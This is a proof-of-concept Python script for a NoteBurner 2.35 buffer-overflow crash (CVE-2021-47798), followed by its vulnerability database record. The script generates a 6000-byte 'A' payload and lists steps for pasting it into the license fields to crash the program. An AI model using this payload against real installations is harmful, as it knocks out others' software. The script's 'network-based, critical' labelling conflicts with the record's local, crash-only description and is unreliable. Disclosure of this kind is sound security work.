CVE-2021-47798

#!/usr/bin/env python3 """ CVE-2021-47798 PoC - NoteBurner 2.35 Buffer Overflow Note: This PoC is for educational and security research purposes only. Author: Security Research Team Reference: https://www.vulncheck.com/advisories/noteburner-denial-of-service-dos-poc """ import subprocess import sys import time def generate_payload(size=6000): """ Generate a buffer overflow payload of specified size. The payload consists of repeating 'A' characters to trigger overflow. """ # Generate payload with repeating byte pattern payload = 'A' * size return payload def trigger_vulnerability(payload): """ Trigger the buffer overflow vulnerability in NoteBurner. This function simulates the exploitation by writing the payload to the application's input fields. Note: Actual exploitation requires the NoteBurner application to be installed and running. This script generates the payload that can be manually pasted into the application. """ print(f"[*] Generating payload of {len(payload)} bytes...") print(f"[*] Payload preview: {payload[:100]}...") print("\n[!] To exploit this vulnerability:") print("1. Launch NoteBurner 2.35 application") print("2. Navigate to license registration/activation window") print("3. Copy the generated payload") print("4. Paste the payload into both 'Name' and 'Code' fields") print("5. Click submit/activate button") print("\nExpected result: Application crashes") return payload def main(): """ Main function to generate and trigger the PoC. """ print("=" * 60) print("CVE-2021-47798 - NoteBurner 2.35 Buffer Overflow PoC") print("=" * 60) print(f"\n[*] Vulnerability: Buffer Overflow in License Code Input") print(f"[*] Affected Product: NoteBurner 2.35") print(f"[*] CVSS Score: 9.8 (Critical)") print(f"[*] Attack Vector: Network-based, No Authentication Required") print() # Generate 6000-byte payload as specified in vulnerability description payload_size = 6000 payload = generate_payload(payload_size) # Trigger the vulnerability (generate payload for manual testing) trigger_vulnerability(payload) # Save payload to file for later use output_file = "cve_2021_47798_payload.txt" with open(output_file, 'w') as f: f.write(payload) print(f"\n[*] Payload saved to: {output_file}") print("\n[*] PoC generation complete") print("=" * 60) if __name__ == "__main__": main()

{"cve": {"id": "CVE-2021-47798", "sourceIdentifier": "[email protected]", "published": "2026-01-16T00:16:24.140", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "NoteBurner 2.35 contains a buffer overflow vulnerability in the license code input field that allows attackers to crash the application. Attackers can generate a 6000-byte payload and paste it into the 'Name' and 'Code' fields to trigger an application crash."}, {"lang": "es", "value": "NoteBurner 2.35 contiene una vulnerabilidad de desbordamiento de búfer en el campo de entrada del código de licencia que permite a los atacantes bloquear la aplicación. Los atacantes pueden generar una carga útil de 6000 bytes y pegarla en los campos 'Name' y 'Code' para provocar un bloqueo de la aplicación."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-120"}]}], "references": [{"url": "https://www.exploit-db.com/exploits/50154", "source": "[email protected]"}, {"url": "https://www.noteburner.com/", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/noteburner-denial-of-service-dos-poc", "source": "[email protected]"}]}}